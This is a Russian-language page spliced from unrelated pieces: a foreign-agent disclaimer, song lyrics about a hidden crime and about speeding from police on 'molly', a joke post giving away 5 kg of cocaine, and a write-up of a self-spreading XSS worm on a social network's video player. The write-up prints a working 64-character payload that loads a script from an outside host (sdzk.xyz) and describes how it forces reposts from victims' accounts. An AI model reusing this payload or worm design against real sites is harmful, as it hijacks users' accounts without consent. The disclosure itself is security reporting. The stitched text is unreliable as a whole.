ДАННОЕ СООБЩЕНИЕ (МАТЕРИАЛ) СОЗДАНО И (ИЛИ) РАСПРОСТРАНЕНО ИНОСТРАННЫМ СРЕДСТВОМ МАССОВОЙ ИНФОРМАЦИИ, ВЫПОЛНЯЮЩИМ ФУНКЦИИ ИНОСТРАННОГО АГЕНТА, И (ИЛИ) РОССИЙСКИМ ЮРИДИЧЕСКИМ ЛИЦОМ, ВЫПОЛНЯЮЩИМ ФУНКЦИИ ИНОСТРАННОГО АГЕНТА.
Не смог похитить от сердца
Похитил ключик от двери
Так неприметно оделся
И все детали проверил
Иду сквозь годы и стены
По переулкам холодным
Мне шепчут ангел и демон
С плечей, заляпанных кровью
Стой! Ты зря это сделал
Стой! Потеют ладони
Стой! Дай себе ещё время
Оставь все чувства в покое
Нет! Соверши, что задумал
Нет! Думать надо было раньше
Нет! Всё равно ты безумен
Тушу бычок, иду дальше
Я притворюсь, что мне не больно
Ты это всё звала любовью
Я буду плакать и смеяться
Видно, пришла пора прощаться
Шагаю обратно
Всё сделал быстро и тихо
Иду аккуратно
А в сердце бешеный вихрь
Хватаю бутылку
И выпиваю всю залпом
Что дальше, не знаю
Но это я решу завтра
Стой! Ты сделал свой выбор
Стой! Назад не вернуться
Стой! Ослепла Фемида
Прошу тебя, не волнуйся
Нет! Ты сделал ошибку
Нет! Ты совсем ненормальный
Нет! Надеюсь, навеки
Та ночь останется тайной
Я притворюсь, что мне не больно
Ты это всё звала любовью
Я буду плакать и смеяться
Видно, пришла пора прощаться
Я притворюсь, что мне не больно
Ты это всё звала любовью
Я буду плакать и смеяться
Видно, пришла пора прощаться
Drop top, Benz (few), откидной верх
Без бошки (без бошки, без бошки), изумрудный цвет
Три, четыре, пять - все купюры в Goyard, шесть (oh)
Мои ребята горят, когда сзади наряд
Я гоню быстро, не подъедешь близко (ага)
Останови, если хочешь убедиться (а-ха)
Я гоню быстро, не подъедешь близко (ага)
Громкость на 100, не услышу твои визги (воу, воу, воу)
Я гоню быстро, не подъедешь близко (ага)
Останови, если хочешь убедиться (а-ха)
Я гоню быстро, не подъедешь близко (ага)
Громкость на 100, не услышу твои визги
Мимо спален, йе-э
Пролетают лямы, йе-э
Капитаны, тихо палят, йе
Капитаны, любят бабки, йе
О, да - мы гоним, это ралли, йе-э
До пола на педали, йе-э
Сзади копы замигали, йе-э
Ну давай, останови -
Найду кому звонить
Да, это molly, йе-э
Суки любят не за камни, нет
Суки любят не за бабки, нет
Суки любят гениальных, йе
Слава Мэрлоу и Моргенштерн
Забрали за альбом "Легендарная пыль"
22 платиновых диска
Это единственный русскоязычный альбом
В котором каждая композиция
Удостоилась платиновой сертификации
Я гоню быстро, не подъедешь близко (ага)
Останови, если хочешь убедиться (а-ха)
Я гоню быстро, не подъедешь близко (ага)
Громкость на 100, не услышу твои визги
Я гоню бы-бы-бы-бы-бы - да, бы-бы-бы, ага
Я гоню бы-бы-бы-бы-бы - да, я гоню, да
Бы-бы-бы-бы - да, я гоню, сзади не
Бы-бы-бы-бы-бы-бы-бы-бы-бы-бы-бы-бы
Воу-воу-воу, йоу
конкурс от группы "жгут"!!
мы решили отучить Рё от кокаиновой зависимости в которую она впала прочитав написанный мною текст к песне, поэтому мы забрали у неё 5 килограмм вещества и разыгрываем его! примите участие и получите шанс выиграть 5кг кокаина (см. фото)!
Как принять участие?
??Добавь меня в друзья
⛓Поделись этим постом
?В репосте упомяни двух друзей
Доброго времени суток, на связи команда Багосов!
Этой ночью нами была найдена критическая уязвимость в нововведённом видео-плеере.
Уязвимость заключалась в отсутствии фильтрации названия видео, после его редактирования и позволяла она вставить туда любой пользовательский javascript код, чем мы и решили воспользоваться!
Всё бы хорошо, но почти сразу мы наткнулись на проблему - лимит ровно в 64 символа. Нам необходимо было построить цепочку эксплоитов, которая сама себя встроит в html код страницы и сможет распространяться самостоятельно, как червь(Хотя мы назвали это гидрой, расскажем почему чуть позже), Спустя несколько часов перебора вариантов, мы максимально сильно ужали точку входа в наш скрипт(из-за такого подхода ломался интерфейс плеера, так как нам приходилось убирать некоторые кусочки html кода для вмещения в лимит символов).
Не будем тянуть, представляю вам магнум опус этого взлома, код загружающий внешний скрипт на страницу, длинной ровно в 64 символа:
<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"
Скрипт создавал на в html коде страницы тег script, ссылающийся на этот код: pastebin.com/maewTdPT
Этот код работает достаточно просто, он берёт хэш прямо с кода страницы(он нужен для работы бекенда) и с ним в качестве аргумента делает репост записи с видео, у которого в названии та самая строчка из 64 символов.
Ну и теперь следите за руками, сейчас я вам покажу секрет фокуса!
Каждый человек, заходя в новости, прогружал плеер с вредоносным кодом(обычно даже не один), что вызывало цепочку скриптов на странице и как следствие, делала репосты на стену пользователя, которые в последствии попадались другим пользователям.
Самое смешное, если у пользователя на собственной стене было хотя-бы два репоста, то избавиться от них было просто невозможно, удаление одного поста вызывало перезагрузку страницы и повторное исполнение цепочки скриптов, потому мы и назвали её гидрой, потому что убить её можно было только уничтожив все репосты разом, что конечно подсилу только админам.
Хотим отметить скорую реакцию, достаточно ранним утром, у администрации сайта. Это приятно и вызывает доверие! Спасибо!!
Все дети любят печенье, поэтому этот веб-сайт использует Cookies для того, чтобы идентифицировать вашу сессию и ничего более. Ознакомьтесь с нашей политикой конфиденциальности для получения дополнительной информации.
